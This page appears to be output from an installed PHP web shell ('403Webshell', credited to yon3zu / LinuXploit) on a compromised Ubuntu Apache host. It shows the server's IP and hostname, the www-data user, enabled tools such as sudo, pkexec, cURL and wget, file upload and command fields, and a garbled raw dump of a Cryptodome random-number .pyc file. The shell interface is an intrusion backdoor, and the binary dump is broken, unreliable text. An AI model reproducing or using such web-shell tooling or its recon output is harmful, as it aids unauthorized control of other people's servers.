403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/Cryptodome/Random/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/Cryptodome/Random/__pycache__/random.cpython-310.pyc
o

��e~�@svgd�ZddlmZddlmZGdd�de�Ze�ZejZej	Z	ej
Z
ejZejZej
Z
ddlmZmZmZmZdS))�StrongRandom�getrandbits�	randrange�randint�choice�shuffle�sample�)�Random)�
is_native_intc@sFeZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dS)rNcCsX|dur
|dur
d|_dS|dur|dur||_dS|dur(|dur(|j|_dStd��)Nz(Cannot specify both 'rng' and 'randfunc')�	_randfunc�read�
ValueError)�self�rng�randfunc�r�:/usr/lib/python3/dist-packages/Cryptodome/Random/random.py�__init__ s

zStrongRandom.__init__cCs:|jdurt��j|_d|>d}|t|�t|d���@S)z%Return an integer with k random bits.N��)rr	�newr�
bytes_to_long�ceil_div)r�k�maskrrrr*s
zStrongRandom.getrandbitscGs�t|�dkr|\}}}n$t|�dkr|\}}d}nt|�dkr'|\}d}d}n	tdt|�f��t|�r<t|�r<t|�s@td��|dkrHtd��t|||�}|dkrUd}|dkrbtd|||f��|}||krs|�t|��}||ksh|||S)	zkrandrange([start,] stop[, step]):
        Return a randomly-selected element from range(start, stop, step).��rrz.randrange expected at most 3 arguments, got %dz$randrange requires integer argumentsz(randrange step argument must not be zeroz%empty range for randrange(%r, %r, %r))�len�	TypeErrorr
r
rr�size)r�args�start�stop�step�num_choices�rrrrr2s4��zStrongRandom.randrangecCsHt|�rt|�std��|�||d�}||kr|ks"J�J�|S)z0Return a random integer N such that a <= N <= b.z"randint requires integer argumentsr)r
rr)r�a�b�NrrrrSs
zStrongRandom.randintcCs&t|�dkr
td��||�t|��S)zrReturn a random element from a (non-empty) sequence.

        If the seqence is empty, raises IndexError.
        rzempty sequence)r�
IndexErrorr)r�seqrrrr[szStrongRandom.choicecCsHtt|�ddd�D]}|�d|d�}||||||<||<q
dS)zShuffle the sequence in place.rr���N)�rangerr)r�x�i�jrrrrds�zStrongRandom.shufflecCsvt|�}||krtd��g}i}t|�D]$}d}|dus ||vr-|�|�}|dus ||vs |�||�d||<q|S)zNReturn a k-length list of unique elements chosen from the population sequence.zsample larger than populationNr)rr
r,r�append)r�
populationrr$�retval�selectedr.r%rrrrns
�
zStrongRandom.sample)NN)
�__name__�
__module__�__qualname__rrrrrrrrrrrrs

!	
r)rr�
long_to_bytesrN)�__all__�
Cryptodomer	�Cryptodome.Util.py3compatr
�objectr�_rrrrrrr�Cryptodome.Util.numberrrr7rrrrr�<module>s`

Youez - 2016 - github.com/yon3zu
LinuXploit